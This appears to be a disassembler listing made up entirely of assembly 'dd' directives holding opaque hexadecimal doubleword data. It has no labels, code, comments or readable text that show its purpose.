dd 60543570h, 0E00017ACh, 8792D62Bh, 0B7BA76h, 14CA02AEh
dd 7FEA4109h, 2925BB22h, 49840F5h, 4113F07Bh, 102AFCBBh
dd 0C7D064h, 0B289D9A2h, 3FE048F3h, 0B7962E14h, 6E5C0AC5h
dd 700D505h, 0B3D63C54h, 0AB9B3C9Eh, 7CD09600h, 0DCA2EE10h
dd 0DFF08000h, 0E036F250h, 0ECA803C1h, 0BE5F9501h, 4E77A0B7h
dd 9DF8C252h, 40B99731h, 0ECDD82CEh, 0F4F11A00h, 37E89500h
dd 22B4E7E0h, 734E0017h, 0CB557FC0h, 0E6015911h, 0ABDA6EA8h
dd 82E82808h, 0A31B0009h, 0F5AE1C85h, 372CE695h, 164540F2h
dd 54BE046Ah, 0AEF8E0F8h, 0E89BEF12h, 0A1C2D800h, 174E0F20h
dd 3BEFD6Bh, 0BD08807Dh, 0B9D99DB0h, 0C7969A00h, 84A91A83h
dd 408EFF88h, 2AE1E051h, 0C4176FE8h, 0C0007E45h, 65DA0A91h
dd 73BE52h, 108A7641h, 19A6A36Dh, 8A2B520h, 0E146EDACh
dd 186FC200h, 5F9EFCh, 0C45E93C0h, 79EA594Ch, 75D99A0Eh
dd 0A6D7805Ch, 0F84E80Ah, 0EDD84E89h, 31E2F3CEh, 9804BEC4h
dd 942E38C5h, 1CD600BBh, 0E24CF9B0h, 0C1EB0F36h, 9FE0EA6Fh
dd 6286C060h, 4911DA00h, 9BA4BEE6h, 9DEE77h, 1B5E79D0h
dd 0A780E388h, 2548EC00h, 0A896323Ch, 4E010020h, 1097D2ACh
dd 4B00775Bh, 0AB25CF79h, 3F69177Dh, 0A88078C5h, 0AD82E387h
dd 40C04BF7h, 0EBB5962Ch, 0AC9D0016h, 0C6568BFCh, 0BAE44F7Fh
dd 0B9CFA400h, 0A9C56D0Eh, 871A009Dh, 0F3AD9615h, 2EEC2595h
dd 0EBB6E50Fh, 35A2EB0Ch, 0CE00758Ch, 0F089E19Bh, 0F35000F9h
dd 0A3E62D36h, 5902121Ah, 5C7ABFA2h, 0A7EF03C0h, 9BABD0E8h
dd 7E627407h, 0D790199Dh, 3ECB389h, 3243EA07h, 0D0AF9FEBh
dd 8A057899h, 4BC8A303h, 0D0B67F53h, 177BD2h, 0A7D6F12h
dd 861585AEh, 4A07F4E8h, 0F21D10E4h, 5C051CE0h, 6CC0006Bh
dd 5866D95Bh, 6800B47Fh, 690E7A9Bh, 197ED5h, 3B15D0EDh
dd 2594EFA9h, 0EA294300h, 9EFEDDB4h, 9AA70162h, 594D5EA3h
dd 0B0AC64B8h, 0C4970F05h, 8824D078h, 0C3FE046Fh, 98B054A8h
dd 0AE4D11h, 0C5790BE1h, 92090A82h, 572CB4h, 9D15ADB7h
dd 0A038762h, 0BA8C668h, 0D9B5F029h, 0FD84856Ch, 15033473h
dd 7AC3A409h, 835F00A4h, 3F58F36h, 0FE19977Ch, 67A3964Ch
dd 7ABD2100h, 7C357B36h, 23B25FD5h, 92B0EBA0h, 6E12ABFCh
dd 94B49569h, 2FF200EFh, 0F8B6AD8Ch, 521CEC57h, 73408791h
dd 9D46013Bh, 44145231h, 0D13062B2h, 981400DEh, 2297C21Dh
dd 3527EF6Ah, 9F3C48F0h, 71B320E9h, 7C40F15Fh, 40D102EFh
dd 0F3510092h, 3E9E9CF8h, 3800E75Ah, 9779B0D4h, 19A2041h
dd 0C709773Dh, 0DAE3FC1Ch, 4206ECF0h, 0A6796BAAh, 43E12838h
dd 3950002Ch, 801E0CD7h, 8D299DF9h, 6D901CFBh, 0CC209773h
dd 40C8C3F2h, 410E5400h, 0FC80A30Ah, 12152F50h, 0ED024C01h
dd 0B2904255h, 8368130h, 964CF58Dh, 0BF406564h, 0E0B3678h
dd 8D5ADC00h, 957191C2h, 0FF21C07Bh, 49BD79EDh, 1CBEC07Ch
dd 0B15CD384h, 180821h, 41F5A0FBh, 4F840027h, 238156BBh
dd 8051A9F9h, 9E46E791h, 0C8764E40h, 7400C8ACh, 4BF86038h
dd 0AEF3C40h, 8BF32A15h, 44CC1E24h, 75F0AFh, 3B8E6208h
dd 0D9FC0681h, 9C30D5Ah, 82215C60h, 1ECB3B85h, 0C0949A67h
dd 0E31852F2h, 0F674232Ch, 58C11730h, 0C4971C4Ah, 0E99270F1h
dd 22A200F0h, 0A0EDFA40h, 0D859614Dh, 0D25BB89Eh, 61B01C48h
dd 0EFBE7601h, 6FB27219h, 31DDB8C8h, 80E8EECAh, 10607D5Bh
dd 1C00AFF4h, 15FD6ED9h, 0F30075B3h, 0AD87B2D2h, 77E57166h
dd 0C6950044h, 74AB8372h, 96790CF5h, 0EF641C03h, 1E543498h
dd 84DE7088h, 0AC936F85h, 0BF47A01Ch, 6EDF009Dh, 1A96985h
dd 0B51D044Ah, 0C8C618A2h, 658F4F8h, 5B7D7E7Fh, 0B601D11Ah
dd 9CA1C99Fh, 0CF452D02h, 1DEB9CE1h, 80A7DB59h, 8BF5B9EBh
dd 0F0BEC2D7h, 55BD4C04h, 0E3C34493h, 0F51800E4h, 0FF307259h
dd 80957AE3h, 0F79424C0h
dd 4601EF5Fh, 507EF6AEh, 0CEB9A840h, 841A00B3h, 2E50EC68h
dd 4C005EF0h, 8F9D78CAh, 205586Fh, 0B380A4E8h, 0DCA06EFDh
dd 0FAFE8D18h, 801E883Ch, 0B3A6BB1Fh, 8C6FE2h, 0F6437B7Ch
dd 8FEE8E9Dh, 61840725h, 69F880D0h, 459824EDh, 947089A4h
dd 68FB0090h, 61FC3552h, 7291C976h, 0C06C8C30h, 88B5EC79h
dd 0AB00A707h, 0AE8CC6B1h, 4E72B46h, 3AE532F6h, 0A95C8268h
dd 483B9430h, 0DA128A67h, 665C220Ch, 3B8BB820h, 987118E2h
dd 3049697Ch, 7750ED3Dh, 8C3890C2h, 12B4A93Fh, 4905842Ch
dd 0E901A4B8h, 9E851F92h, 0CB382079h, 7B9D5700h, 4BA3E5F3h
dd 0BC354995h, 45F22501h, 0D4125183h, 481D85A1h, 0EC4AFFEDh
dd 0C708F43Bh, 208820CAh, 8985450h, 8202A546h, 84F59236h
dd 79BC001Ch, 0E68D2836h, 78984765h, 0C1B1720h, 4AFA2343h
dd 0DF139191h, 0B040DA58h, 99710B86h, 440858CBh, 98C66F8h
dd 91C7385Dh, 2418C5D8h, 7F2146BBh, 94130368h, 0E96BBC73h
dd 96A3E802h, 5672A041h, 9A7106F4h, 707581C6h, 0B4752A26h
dd 8480A711h, 74F59436h, 0BA69448Ch, 9C367B0Bh, 6B340021h
dd 24E8061Fh, 7446EACh, 0F0684786h, 0BBC47574h, 0ED68029Dh
dd 5794820Dh, 67A466E8h, 0E935B92Ch, 85299CF2h, 3A03E896h
dd 0F09A259Fh, 394B65h, 0AB6ADF02h, 0A392BEF9h, 280B812Eh
dd 69279F40h, 349413D8h, 0F979023Eh, 20569B87h, 0F417020Ah
dd 39634674h, 0DA6D0034h, 40ACE33h, 8F6F12AEh, 0FD544077h
dd 0A979E985h, 4DF99C3Fh, 0E792058Ch, 88005D94h, 0CD057E5Ch
dd 9CA84915h, 663B9380h, 448CB1FBh, 8A00B95Fh, 0D205B53Bh
dd 3E49259h, 0E36FDD66h, 0A10B73FCh, 80013FABh, 0DBBB710Fh
dd 8CD64B40h, 0F090AC48h, 3F968822h, 5681287Fh, 0B9A68FA4h
dd 2C5CFA7Ah, 4A213D19h, 2D56F8h, 997D2593h, 186668A0h
dd 4028922Dh, 0E57FF6h, 6ED85557h, 6C41FB9Fh, 70151D30h
dd 0E002FEh, 0F079CCECh, 0DA16498h, 0B346B092h, 90368001h
dd 0C9654F5h, 77BE886Ah, 14106E80h, 0A470F007h, 902E3303h
dd 10FE8CE7h, 27F99D09h, 586C016Fh, 19AC08EFh, 94100864h
dd 10B8483Dh, 44900934h, 7E8C67A8h, 4D30383Ch, 0C2E3170Eh
dd 0EC029D49h, 5C01CE64h, 93B3FF9h, 0B0094C40h, 0FFF47410h
dd 0AC85DA00h, 0F37AFC8Ch, 0C8097E6h, 5F12589Bh, 0F8080608h
dd 0D3880271h, 707447BBh, 0F9A09C01h, 589DCA42h, 0E4865573h
dd 0A656AA80h, 448CB68Fh, 0B2004843h, 0D5617456h, 72756DD9h
dd 845041Eh, 0A20CBBF2h, 0E772030Ch, 0D0FCBA15h, 3A0D2F4h
dd 4102F374h, 0E0EAFE05h, 2484ACC2h, 56AB6085h, 0AE8F23A5h
dd 47003E11h, 68CC56B3h, 0FD036C9Dh, 32595DF2h, 7B580552h
dd 0ADC93FC4h, 432D1024h, 0F7367E04h, 8014A0FFh, 0E8CCE6F1h
dd 11C9A039h, 0CC880A9Ch, 0C9A8DC80h, 0A0B82EFEh, 81D090D0h
dd 4004339Fh, 398C8CA4h, 8F1056A0h, 0A84EE0C6h, 84674856h
dd 0BC0C8D00h, 0ED879537h, 79A95B36h, 0E7A46A8h, 249CC9A4h
dd 0CE322CAAh, 0C9ACD820h, 71E60025h, 0E1A228D5h, 0A0C59163h
dd 0CC4064F1h, 0C2EEDD6Ch, 0F9E269h, 0A276F2B0h, 0E800120h
dd 0A6529701h, 0E737C3F3h, 859CA440h, 0BF9A0B43h, 28707E12h
dd 0C1006F5Ch, 58D9488Dh, 603D1501h, 2B4009C0h, 63BB1280h
dd 3E3C0021h, 3487AC8Dh, 7DBE93A0h, 2E008E4Ch, 0A82AE529h
dd 0F8063720h, 212D1788h, 0A03C0233h, 0DE212F8Dh, 9C87838h
dd 419D0C43h, 68E09940h, 2D257B75h, 87AC223Eh, 546619E8h
dd 885C8EBCh, 0E1C5C044h, 6C00D3F7h, 22F1BDA0h, 1332CC54h
dd 0F17F8BD5h, 5DF06084h, 3FE1440h, 38391BF1h, 0C1BC5B27h
dd 267F42D4h, 0FA7FE03Ch, 13DB7F3Fh, 0B15BF95Ah, 2E402D94h
dd 4A4088EFh, 0F4C11B2h, 7322B6C9h, 8FE69FA0h, 0A60061F1h
dd 384945B8h, 5C98FBCBh, 69FC504Ch, 9149038Ch, 6DFCF26Fh
dd 74351900h, 0C7C14DE0h, 3FF7F79h, 0E60518BFh, 0AFA85BD5h
dd 45022191h, 28EF2FAEh, 8FA040D7h, 40724C9Eh, 738C41BCh
dd 0CF9D050Dh, 4079EFCDh, 3954ED80h, 3000A14Ch, 4AFD6E85h
dd 90777284h, 27846A4h, 9CAAC9A6h, 0D6241CBAh, 9E00F8AEh
dd 0C659542Dh, 811060FBh, 0B05FC479h, 8E1231B8h, 0D48893A4h
dd 25487C23h, 0B820FCB2h, 2C741543h, 24215901h, 1864772Ah
dd 9DB057C8h, 94A2A4A0h, 0C7019136h, 0ED6EA73Ah, 236B9D63h
dd 0F0C02FACh, 4000A017h, 4FB4EA3Eh, 2AEFAF9Dh, 9E44498h
dd 0BC7FBBF6h, 6AF27803h, 22A378F8h, 0B9C00AECh, 0F37B3391h
dd 0C45F8FDh, 0BA4FE3F5h, 6702B230h, 4C4282D6h, 5C9C509Dh
dd 66BCDC15h, 0E0921E8Ch, 65EF4EC6h, 0D3C4DFC2h, 0F104C0F4h
dd 94C8BC8Ch, 56FE8C8Bh, 0BE8F9F11h, 4D02E29Fh, 383D56A9h
dd 0C08AE3D9h, 6995FE12h, 8F802113h, 18983422h, 92E96003h
dd 0F9D57512h, 8EC483FCh, 738F0074h, 0F1C4C6C9h, 0E4602C8Bh
dd 902D32F9h, 0B0FD30F7h, 0CE73FFA8h, 3E3308A9h, 0C4E6601Ch
dd 4CB465Eh, 9F485FCCh, 0A12988C2h, 8BDBF6ACh, 0C3CC003Fh
dd 160D4F0Fh, 2F9DE401h, 0B16FF3FFh, 5403FC67h, 2CED70FBh
dd 80174039h, 691FBE4Eh, 98AE87B2h, 0A4E54C69h, 6622A26h
dd 0A917F935h, 679F8500h, 825AE9C3h, 3C700E0h, 7F0E0936h
dd 1A4CD7DBh, 0FCA4165Ch, 9C6E0A4h, 954AB956h, 44DCE200h
dd 92501B99h, 0AE275C9Ch, 1454E153h, 63F27872h, 1D3E730h
dd 2CD5AA44h, 3059F198h, 1F2824F4h, 407DC41Dh, 11D89D82h
dd 431780CCh, 5DDED9D4h, 0D8829C5Bh, 4FE2E9Eh, 0C7CDB40h
dd 0C55A37B7h, 0E484A041h, 171D2F5Eh, 0E5009356h, 66C1C7ADh
dd 6A9F0680h, 48B382D0h, 4509249h, 7EA21C93h, 2A06CC3h
dd 0DBF58E91h, 0AC8B246Fh, 89706098h, 5B16D499h, 72B5CF4h
dd 30C0646Fh, 7985407Ch, 0E1046AC9h, 0EFE66CFCh, 2B4A74A6h
dd 6B23E8h, 0C3F87F47h, 0ED0BF2F6h, 4F587A4h, 0FB011F58h
dd 11305A0h, 207AFAF4h, 3A5FB7D4h, 216D3407h, 5510B346h
dd 0BB20330h, 0FD2B9518h, 99C00810h, 5017B900h, 75F02E7Ah
dd 1F2B0015h, 5E3CA662h, 6905BEADh, 0D7C3CBB5h, 9C00B4F8h
dd 710D3D2Bh, 84A229Ah, 6523A03Bh, 0AF007626h, 0B5B19D68h
dd 80EC9E5Ah, 0CF7AB421h, 3A0057CAh, 0E7D5A04Ch, 748595Ah
dd 0FDC8D3E1h, 8A2CE3C9h, 90FC9DF0h, 0A40489D2h, 0ED01C187h
dd 3D2C3D68h, 2FF22D8h, 878F5FC2h, 80C89538h, 0F24E19Dh
dd 931C385Ch, 0A8419AC7h, 998CC869h, 0EC74ABB6h, 93356760h
dd 0AC9CF526h, 27EB970h, 63695536h, 984060C1h, 9B067D34h
dd 0F8FC95CDh, 39972659h, 51D08088h, 0A096873h, 2489220Fh
dd 471B25B6h, 5927F480h, 18A84D0Ch, 46FB2E72h, 0D7689090h
dd 4123642Bh, 1EE9A400h, 94EFE8BFh, 0F3439734h, 1759002Ch
dd 0E1DE75A7h, 0FAC91C09h, 119EC166h, 687E04DFh, 886A0734h
dd 6B60DE25h, 96E932AEh, 0E79082C4h, 1062CFDCh, 0E3DBF040h
dd 0B482CC5Eh, 0A2D46850h, 78CE1128h, 0EA1F0515h, 0C8B46CFBh
dd 0CD4B266h, 0E08C7019h, 0F3E4EC29h, 838CDB48h, 9C757143h
dd 50801909h, 0D6E0046Dh, 695E31DFh, 0FF340065h, 52C65A46h
dd 7A03C0FAh, 3DB950EEh, 0EFA5200Dh, 0BC60397Ch, 392D60CDh
dd 6F587786h, 21B08D33h, 71ADA2CCh, 3B9081E4h, 1889FC83h
dd 87B4886Ah, 54023B00h, 0A27489F9h, 0A4254C9Eh, 2C97C10h
dd 0FF8FB875h, 824F0B3h
dd 148C6FDDh, 40050516h, 4E4EF89h, 45A34E71h, 818D4D30h
dd 840655Ch, 41C9903h, 29A198h, 0F0EF8FA7h, 0B8909C7Ah
dd 89E9120h, 96256611h, 0C707A852h, 9F2E18D9h, 9154B8B0h
dd 0F26C0362h, 0CF0F45D6h, 0A775AFA8h, 16308805h, 70ECCEA4h
dd 3C968A83h, 0EF934900h, 9E57C4F6h, 11D7057Bh, 40FBFB9h
dd 0C0BA85C0h, 69722701h, 0C52471FEh, 9343E42Bh, 0A3C80F22h
dd 2F06F38Fh, 0DA001019h, 4F355401h, 1878D9Fh, 3D66B986h
dd 6914C7D4h, 1BACE4h, 3F1C77EFh, 94F81DFEh, 0AD2F2B02h
dd 7105B8E0h, 117826D0h, 0C9A1807Bh, 43129C9Fh, 2CCD222Dh
dd 88A9D9h, 0F1032B04h, 0C6136F4Ah, 0EC98A433h, 9F048C89h
dd 0CE8FA156h, 0A7004B38h, 0DDB81356h, 24D153F4h, 10C09E9Dh
dd 28805B78h, 0A2752449h, 37B08330h, 821127Ah, 9FD04110h
dd 40702FE1h, 0E647C61Ch, 0FE75A307h, 954305EBh, 0EC79000Bh
dd 0FA8D1E54h, 0B8006DD8h, 3774A3E3h, 0B6CDF78Ch, 48EE2FDCh
dd 0BA5CD400h, 0BF136977h, 0FE250B4Bh, 0F44B5A68h, 0DFCB2780h
dd 6D3ECD00h, 0A6418122h, 0A819079Ch, 0B1B08BBDh, 0F648ED92h
dd 6FA4C849h, 15C2E021h, 51C77198h, 8C0E59C9h, 63DA772Ah
dd 0C88ED873h, 0EA4BAD3Bh, 0EA06098Dh, 0D02FEE78h, 0F0FA6FE0h
dd 9F7415EDh, 0DF596560h, 94F221h, 85066191h, 0EFE0E142h
dd 40779F2h, 840D596h, 418DAB62h, 39AF74D4h, 8852B842h
dd 0E02FCFAh, 15CD80EAh, 4186CAAh, 0FC843B91h, 205C6281h
dd 323B88B7h, 0DF69D800h, 4CC767D1h, 6B71025Dh, 7B417328h
dd 59A08CC0h, 9CCAFE13h, 2413C009h, 0D4F27300h, 13041E2h
dd 51C30271h, 94F70F85h, 0CB6E4D8h, 6680A911h, 0A4F57635h
dd 0B8C0F8B1h, 1F10367Dh, 81D4DE28h, 48FB523Fh, 94027B59h
dd 0F481DAAFh, 60AC454Ch, 823B8F8Ch, 1191FC23h, 86B50068h
dd 0D090563Bh, 0DFE30218h, 5B8BF32Ch, 954C8057h, 80308948h
dd 6C98C974h, 0A02CCA45h, 8C65BCh, 49A845A5h, 0C3D05CC1h
dd 0BBE32603h, 0A17FCE6Ch, 0D12BBE27h, 15B7588h, 0B4F98C38h
dd 0CC2D8826h, 5C11FC97h, 80273A85h, 0B04215A4h, 33FE4400h
dd 0FF89BB99h, 0C9D15E9Bh, 15ED74h, 0C176A471h, 78FADC1h
dd 6C1D2BD0h, 0F8EBB0B2h, 890BD50h, 0F200B9E4h, 0CC94A98Dh
dd 20E1E81Ah, 0C4985D6Fh, 0B1701B14h, 2F9A2234h, 0F8029ED8h
dd 4097BA0h, 28900F7Dh, 3CDE406Fh, 0C3090A57h, 8999D0Eh
dd 1DFF60A8h, 8971D200h, 6856E16Ah, 317017F5h, 0F628B45Dh
dd 37EB820h, 47E48B95h, 0F810C734h, 8C8BC97Bh, 3C26090h
dd 0E8058306h, 1620D9F0h, 5F94023h, 0A441A18Ch, 0BA439734h
dd 8C984822h, 8652820h, 978BF995h, 0F0820A0Ch, 0C4DF1491h
dd 0D308105Ah, 1D6B3E70h, 803D11C4h, 0C7FD6F40h, 93352D8Bh
dd 0CB913817h, 0CCBB5880h, 0F772C2EBh, 0C82FB4B0h, 7D8CC1A0h
dd 92306430h, 3CE726E4h, 4046740Ch, 0AAD4EF00h, 0FBBC8B45h
dd 734A7AECh, 8B003C6Bh, 0F79165D8h, 7017FC7Dh, 0BC5034DDh
dd 0DC8B4A80h, 94C7CDC8h, 0E9BD7C0h, 0EAFD0082h, 5F7C34CCh
dd 0D92EA0EFh, 0F7448866h, 0A020B8F1h, 43900523h, 0E04FF215h
dd 34535A08h, 30CFA2C0h, 0D602E1B3h, 5283C6E5h, 2154C0A3h
dd 4779C144h, 5071FD76h, 0A1372D94h, 5480E100h, 55E685B1h
dd 0FBE3268Ah, 296C2C29h, 5377134Ch, 0C8B8CB1Ch, 4D23C03Fh
dd 0B7486A3Bh, 98D42488h, 46765C2Ch, 28000D1h, 0E9A20C2Ah
dd 40970168h, 0DBBBF533h, 10DC79B8h, 7ACC55E1h, 0FE302341h
dd 72F990Eh, 38CC5DD8h, 0A6F01F09h, 215A24A3h, 98B0917Ch
dd 0B403B7EEh, 19016A28h, 89C0DFCDh, 25709482h, 0BC5A32F1h
dd 0E8763920h, 1641CC1Bh, 9042D918h, 73F03082h, 61041469h
dd 96F9ECDBh, 31D61B8h, 49C0E2CAh, 912ADC53h, 2C8F06Fh
dd 0C3F61B3Fh, 7482B923h, 506627C1h, 5001575Fh, 6FE7E99Fh
dd 83109832h, 50152676h, 2814E208h, 3141300Ch, 0E41893C1h
dd 0E0806D82h, 955C526Dh, 40B01455h, 274A0A78h, 4E02857Dh
dd 7D73A256h, 0F42440CFh, 48EF59C3h, 0DC90B47Ch, 982DC609h
dd 914D1DFh, 2A8EB340h, 5ACDF181h, 96199819h, 4AF37C39h
dd 1ACA2E5h, 0A3E2AC86h, 72DDF912h, 409474FAh, 75265C7Bh
dd 0B6B33300h, 7722E2A8h, 0EE8028A4h, 6B892AA4h, 1C5A3080h
dd 1918D369h, 3C982A2Ch, 2F22AA60h, 0BAE77DCh, 9DA27708h
dd 4884444Ah, 0EC354414h, 0FDF11089h, 0D458D079h, 5A8C66ECh
dd 1E5C1686h, 8BF504CCh, 9D38D29Fh, 0F00360C1h, 0F5B714Ch
dd 6B23D83Bh, 0D100201Fh, 803D986h, 79E4A1A3h, 95C9E919h
dd 88E4A2F0h, 0ABD780CAh, 47C613C9h, 31A2FB05h, 50C8926Fh
dd 10785C4Bh, 0EDC3DB12h, 195040A0h, 0A4DEE33Fh, 71625CF3h
dd 81187497h, 0DFC6E9Fh, 28202B25h, 0A731Fh, 0A11EBEC6h
dd 9F184067h, 72328804h, 0B4A5B66Fh, 0AB94202Fh, 2972D8A7h
dd 9600EFFEh, 494D5536h, 90679D90h, 341926C0h, 9C486B34h
dd 910D8BA0h, 91F3C602h, 4C4488F0h, 4B2EACF4h, 0A917BED0h
dd 79684875h, 0B2430B80h, 13C8F386h, 80F998EDh, 0F78BF63Ch
dd 0EF09709Ah, 0F3D95B50h, 0B66646Ch, 901C989Eh, 44985DF7h
dd 3A0FF948h, 6803F0Fh, 87A69226h, 1C2B1C30h, 267D8AD2h
dd 853407DCh, 8E3E9E9Dh, 0CF4088B0h, 17D29340h, 0D800F90Dh
dd 50052C94h, 5A64419Ah, 0C5702263h, 29921921h, 9E6B2190h
dd 4CA3D513h, 2E3063E2h, 330E825h, 0FF3EE27h, 32FF4305h
dd 0C08F6907h, 70855D48h, 490A78Dh, 257E5FCh, 4196B2D0h
dd 48A47A18h, 4F834BBh, 718C62ACh, 0AF100EA8h, 9B01FC4Dh
dd 7DF13377h, 3ADE00D8h, 0BF8561A0h, 42F5001Bh, 9B655D74h
dd 41419D68h, 4ADF9060h, 97848290h, 2D9AA8B9h, 947E0918h
dd 0B68713Bh, 181A0D8Dh, 9D123844h, 0D0BCB849h, 83C88842h
dd 419CA282h, 4605E5Ch, 81784A92h, 28CCF73Ch, 0AC328860h
dd 80871114h, 8FA3569Dh, 58209E9Eh, 563EA549h, 1E4BBEBFh
dd 0A0424E7Eh, 16CB3F1h, 589691DEh, 840B774h, 0E98090F6h
dd 0C521E806h, 7EE9882Ah, 6DF390BAh, 5BFF300Bh, 0F03318E1h
dd 0BD976A9Bh, 0A4A00068h, 8ACDDE0Ah, 48988948h, 0B1F7C03Ch
dd 0E6B7075h, 25921830h, 0FF898241h, 16E0502Fh, 0B8DD100Ah
dd 9C040F91h, 0C2AB865Ch, 0F051A224h, 6076E428h, 4692B144h
dd 28892612h, 8B4241E4h, 0C0D2232Fh, 16373120h, 0A68DC3F2h
dd 0E8384C78h, 0A0078E5Dh, 20FEE096h, 0FC7E41BFh, 646C1198h
dd 9A72A412h, 0FF9BC0F4h, 4D10949h, 2DA0FBA5h, 3FA0A40Ch
dd 163FCF41h, 888CCBC8h, 43A7C064h, 8B029B4Dh, 0C6185C0Eh
dd 141052F9h, 0A47CE78Fh, 0BE88B053h, 9BAA4481h, 0BC41C64Eh
dd 18025D1Fh, 12879C41h, 91A897CCh, 8AB58268h, 0DFB040B8h
dd 0E07682C2h, 0EF271211h, 3067F468h, 3B6DF900h, 83BC7D75h
dd 8B3C9EC5h, 0F0941351h, 61308D7Ch, 19FF1839h, 7D3305C9h
dd 0ACB4E732h, 0F4F24AB8h, 1308FF10h, 0D0887AACh, 91F008Ah
dd 0FB6AD84Dh, 0A3018F3Fh, 0F37BB382h, 0D197ED02h, 0F88C205Bh
dd 481E34D2h, 4E3FF376h, 15D6BC40h, 0B7E2FBh, 1B13F8C9h
dd 4ED6EB0h, 81B8A348h, 846FD97Eh, 5474C2D6h, 6B465E1Ch
dd 0D2FDCC00h, 262B7F0Eh, 0F51232EEh, 0F0F08FBBh, 21165A47h
dd 26CC6854h, 0E09BE380h, 23AD8DBh, 938E7C33h, 74780BFFh
dd 0C01C9501h, 91BA2575h
dd 14D1E4h, 0F3854708h, 5B21FBFFh, 202C07F0h, 0F986D0D8h
dd 90B423h, 7F13ED6Fh, 0CA5BC2F8h, 45B540CBh, 6562E480h
dd 9550E687h, 65E5Ah, 0E2FF43A3h, 3FCEE958h, 9CCC5Dh, 789D5DEDh
dd 27F5E606h, 24519614h, 155B248Fh, 680C00E0h, 0E8574B31h
dd 25F17C4Ah, 0C4F98A3Ah, 459E2C00h, 2DF3DBCh, 0B7CB6EA5h
dd 85C331Eh, 2CD83F08h, 0C093000Ch, 362E160Ah, 0F10B0102h
dd 0E8B727E3h, 887898ECh, 574ABBD4h, 62E2B090h, 0D1FD006Fh
dd 954372B1h, 5005A78Bh, 0F935BAC7h, 16BF7088h, 984DFE1h
dd 84DE795Ch, 0D3A4E440h, 985300E5h, 0D6A6C4DDh, 36003354h
dd 0AA520B70h, 4A2EBD8h, 9D78899Fh, 6E4C8074h, 0EFEE4BBAh
dd 47819801h, 8A701E0Dh, 5068203Bh, 80801061h, 1034B6F8h
dd 75F40942h, 79507163h, 12518D1h, 0B55B527Bh, 0C42F336Fh
dd 0A09796BEh, 0F5E2E864h, 1CB80035h, 37A51DACh, 711FA887h
dd 3C5748EDh, 81911C49h, 0B31C7BD0h, 0ACC0203Ah, 0B9001F0Dh
dd 0E19E5DA7h, 4A0EB39h, 2DFF3A1Dh, 0BC049387h, 987663EAh
dd 30F79402h, 767042BDh, 0D0465E88h, 0B9AB8200h, 0F8B7F58Ah
dd 0D0E75712h, 3B955081h, 9A1DC0h, 6F3305B3h, 15CFB65Bh
dd 8C28649Bh, 507800Bh, 0C7008A2h, 55514304h, 8125B0A8h
dd 1379B840h, 0C8371581h, 926B20A0h, 0E770860Fh, 0D90661EEh
dd 76F8279Eh, 6D1418BAh, 3BBA0FBh, 50B41E58h, 4B5A7710h
dd 68C8348Eh, 2A3470C0h, 2E330043h, 407BA379h, 0B498FBDBh
dd 8E58F578h, 0C07F2E10h, 1431CC2h, 6E0B0935h, 8AEC0028h
dd 3E79E471h, 59098018h, 5A9561C1h, 84E60058h, 53FE8360h
dd 1E0E3F6Ch, 40A44BCDh, 0E6A91080h, 95362C11h, 0F71847ACh
dd 0B44C02A7h, 0D237F0E1h, 494020Bh, 7B284961h, 0F46E3Ah
dd 3304DA49h, 262C3A4h, 5CE21829h, 7878148Eh, 10C6120h
dd 9CA2F780h, 3276C449h, 0D11427FCh, 0BC7C00FCh, 9D03C29Fh
dd 551E9900h, 23E99CFBh, 7330C75Fh, 0FFE1D243h, 638B058h
dd 74405E24h, 4FF022B2h, 0CF34011Ch, 573F1FDh, 42F2B2Dh
dd 0AA016A23h, 0E4DF2A15h, 9F09F86Ch, 0C440B7E9h, 9D0C6273h
dd 99723FF1h, 7E7F3E41h, 0A580C8C9h, 0B29CABC9h, 0D5C03099h
dd 714C9ADh, 5970CAF8h, 36A02E7Ah, 37DBF53Ah, 9B071C94h
dd 4F88998h, 0EB6FBB80h, 7105AC4Bh, 0B3513F4h, 74E173E0h
dd 0E083129Ch, 9663EF90h, 0B8A6442Ch, 8C68F85Ch, 47CA9B1Eh
dd 0D817BB0Bh, 5E68BC5Ch, 0D0EA18F3h, 9F81DCA8h, 2EB8F791h
dd 0C3F58041h, 3834D223h, 82FD5A98h, 0C0C51524h, 706167E4h
dd 9989CC6Dh, 23183862h, 173851F6h, 901D10FFh, 0DBCD8E04h
dd 0D8D8F04Fh, 7325A112h, 4488A8CBh, 61E828C0h, 24A07915h
dd 9D35D0Ch, 0A4E49571h, 2AF7E202h, 6176C788h, 41836E20h
dd 6FFCA57Dh, 0B0942900h, 0AB1202B8h, 0D4CB01AAh, 9C64C670h
dd 958FC8C9h, 8F524Eh, 0E7C03E88h, 9DBB3A1Fh, 0F94FD8C3h
dd 5980AC25h, 12679033h, 0F0839475h, 38EC9D24h, 0A400895Bh
dd 76971D87h, 5ABD14B1h, 294C4078h, 2445932Fh, 0A9606AE4h
dd 0C324254Eh, 4A097D2Ah, 905C0215h, 578F0F1Fh, 7AA7BF60h
dd 744C20FBh, 43AC14B0h, 8C45F884h, 0EABCA101h, 0B13D9A76h
dd 20EFBAE4h, 4900167Ah, 7C4EF183h, 24829B17h, 60BC0DEEh
dd 3F1EDCDEh, 61F63608h, 0E217027Eh, 34F49647h, 4CC24A12h
dd 90782B45h, 111A18C8h, 3CB24FCAh, 0C01D4E3Fh, 0D9DF407Bh
dd 0E56CA6DEh, 0D228C61Fh, 51FAED00h, 189EA1E4h, 689343E9h
dd 7F5E0232h, 0C300EC6Bh, 8EA47C70h, 3D012975h, 93896FF8h
dd 81C4F4FFh, 6C804C43h, 0A730EABDh, 88D34F91h, 700C220h
dd 955A0602h, 0BF0A6A87h, 8042AC82h, 2A5844F3h, 0F4B60083h
dd 901E70EFh, 9F1D159Dh, 0E0AFF72Fh, 1457C4Ch, 7F7841E5h
dd 0DAA43EEDh, 0CC7A69E2h, 2EFC2449h, 472799FDh, 606864F4h
dd 0A46FD2Fh, 2841E4A3h, 0F7CE84FCh, 6C5CED14h, 9236CAD9h
dd 0A7E4001Ch, 59EB7ADAh, 13EBA14h, 0DFFB81C4h, 97E1A234h
dd 6801983Ch, 5FD9F6FDh, 1072E681h, 78FAE1Fh, 40C0629Ah
dd 847A5C04h, 0FF56F896h, 0C6008D18h, 1AB5E262h, 90897327h
dd 701704BCh, 2150C8Ch, 68A948FBh, 990947C4h, 1844F93Ch
dd 0F6760069h, 45072CCh, 0C4013BE1h, 34BA0FC3h, 6462CF88h
dd 0DE70887Bh, 86313378h, 5B11807h, 20E26F03h, 2C040904h
dd 2FAC0107h, 346810DFh, 62D88F24h, 4402A91h, 8E01FBE9h
dd 7A93E17Eh, 0FEE84F3Ch, 260200FCh, 0F083E495h, 4E5BD470h
